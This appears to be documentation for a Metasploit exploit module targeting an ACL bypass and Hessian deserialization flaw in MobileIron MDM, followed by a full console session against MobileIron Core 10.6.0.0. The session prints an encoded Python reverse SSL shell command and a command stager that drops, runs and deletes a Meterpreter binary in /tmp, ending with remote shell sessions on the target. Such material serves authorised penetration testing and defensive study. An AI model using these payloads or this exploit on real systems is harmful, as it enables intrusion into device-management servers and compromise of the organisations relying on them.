108 lines
6.6 KiB
Markdown
108 lines
6.6 KiB
Markdown
|
## Vulnerable Application
|
||
|
|
|
||
|
|
### Description
|
||
|
|
|
||
|
|
This module exploits an ACL bypass in MobileIron MDM products to
|
||
|
|
execute a Groovy gadget against a Hessian-based Java deserialization
|
||
|
|
endpoint.
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
See [Scenarios](#scenarios).
|
||
|
|
|
||
|
|
## Targets
|
||
|
|
|
||
|
|
### 0
|
||
|
|
|
||
|
|
This executes a Unix command.
|
||
|
|
|
||
|
|
### 1
|
||
|
|
|
||
|
|
This uses a Linux dropper to execute code.
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### MobileIron Core 10.6.0.0
|
||
|
|
|
||
|
|
```
|
||
|
|
msf6 > use exploit/linux/http/mobileiron_mdm_hessian_rce
|
||
|
|
[*] Using configured payload cmd/unix/reverse_python_ssl
|
||
|
|
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > options
|
||
|
|
|
||
|
|
Module options (exploit/linux/http/mobileiron_mdm_hessian_rce):
|
||
|
|
|
||
|
|
Name Current Setting Required Description
|
||
|
|
---- --------------- -------- -----------
|
||
|
|
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||
|
|
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||
|
|
RPORT 443 yes The target port (TCP)
|
||
|
|
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||
|
|
SRVPORT 8080 yes The local port to listen on.
|
||
|
|
SSL true no Negotiate SSL/TLS for outgoing connections
|
||
|
|
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||
|
|
TARGETURI / yes Base path
|
||
|
|
URIPATH no The URI to use for this exploit (default is random)
|
||
|
|
VHOST no HTTP server virtual host
|
||
|
|
|
||
|
|
|
||
|
|
Payload options (cmd/unix/reverse_python_ssl):
|
||
|
|
|
||
|
|
Name Current Setting Required Description
|
||
|
|
---- --------------- -------- -----------
|
||
|
|
LHOST yes The listen address (an interface may be specified)
|
||
|
|
LPORT 4444 yes The listen port
|
||
|
|
|
||
|
|
|
||
|
|
Exploit target:
|
||
|
|
|
||
|
|
Id Name
|
||
|
|
-- ----
|
||
|
|
0 Unix Command
|
||
|
|
|
||
|
|
|
||
|
|
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set rhosts 192.168.123.123
|
||
|
|
rhosts => 192.168.123.123
|
||
|
|
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set lhost 192.168.123.1
|
||
|
|
lhost => 192.168.123.1
|
||
|
|
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run
|
||
|
|
|
||
|
|
[+] python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKc0Y9RmFsc2UKd2hpbGUgbm90IHNGOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlzRiA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))"
|
||
|
|
[*] Started reverse SSL handler on 192.168.123.1:4444
|
||
|
|
[*] Executing automatic check (disable AutoCheck to override)
|
||
|
|
[+] The target is vulnerable. ACL bypass successful.
|
||
|
|
[*] Executing Unix Command for cmd/unix/reverse_python_ssl
|
||
|
|
[*] Executing command: python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzE5Mi4xNjguMTIzLjEnLDQ0NDQpKQpzPXNzbC53cmFwX3NvY2tldChzbykKTVU9RmFsc2UKd2hpbGUgbm90IE1VOgoJZGF0YT1zLnJlY3YoMTAyNCkKCWlmIGxlbihkYXRhKT09MDoKCQlNVSA9IFRydWUKCXByb2M9c3VicHJvY2Vzcy5Qb3BlbihkYXRhLHNoZWxsPVRydWUsc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSxzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCXN0ZG91dF92YWx1ZT1wcm9jLnN0ZG91dC5yZWFkKCkgKyBwcm9jLnN0ZGVyci5yZWFkKCkKCXMuc2VuZChzdGRvdXRfdmFsdWUpCg==')[0]))"
|
||
|
|
[*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.123:49232) at 2021-01-22 01:04:15 -0600
|
||
|
|
|
||
|
|
id
|
||
|
|
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
|
||
|
|
uname -a
|
||
|
|
Linux x.x.x 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||
|
|
^Z
|
||
|
|
Background session 1? [y/N] y
|
||
|
|
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > set target 1
|
||
|
|
target => 1
|
||
|
|
msf6 exploit(linux/http/mobileiron_mdm_hessian_rce) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.123.1:4444
|
||
|
|
[*] Executing automatic check (disable AutoCheck to override)
|
||
|
|
[+] The target is vulnerable. ACL bypass successful.
|
||
|
|
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
||
|
|
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoewFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/FYLzZ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eHmLx' < '/tmp/FYLzZ.b64' ; chmod +x '/tmp/eHmLx' ; '/tmp/eHmLx' ; rm -f '/tmp/eHmLx' ; rm -f '/tmp/FYLzZ.b64'"]
|
||
|
|
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCoewFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/FYLzZ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/eHmLx' < '/tmp/FYLzZ.b64' ; chmod +x '/tmp/eHmLx' ; '/tmp/eHmLx' ; rm -f '/tmp/eHmLx' ; rm -f '/tmp/FYLzZ.b64'
|
||
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
||
|
|
[*] Sending stage (3008420 bytes) to 192.168.123.123
|
||
|
|
[*] Command Stager progress - 100.00% done (823/823 bytes)
|
||
|
|
[*] Meterpreter session 2 opened (192.168.123.1:4444 -> 192.168.123.123:49240) at 2021-01-22 01:04:23 -0600
|
||
|
|
|
||
|
|
meterpreter > getuid
|
||
|
|
Server username: tomcat @ x.x.x (uid=101, gid=102, euid=101, egid=102)
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : x.x.x
|
||
|
|
OS : CentOS 7.6.1810 (Linux 3.10.0-1062.4.1.el7.x86_64)
|
||
|
|
Architecture : x64
|
||
|
|
BuildTuple : x86_64-linux-musl
|
||
|
|
Meterpreter : x64/linux
|
||
|
|
meterpreter >
|
||
|
|
```
|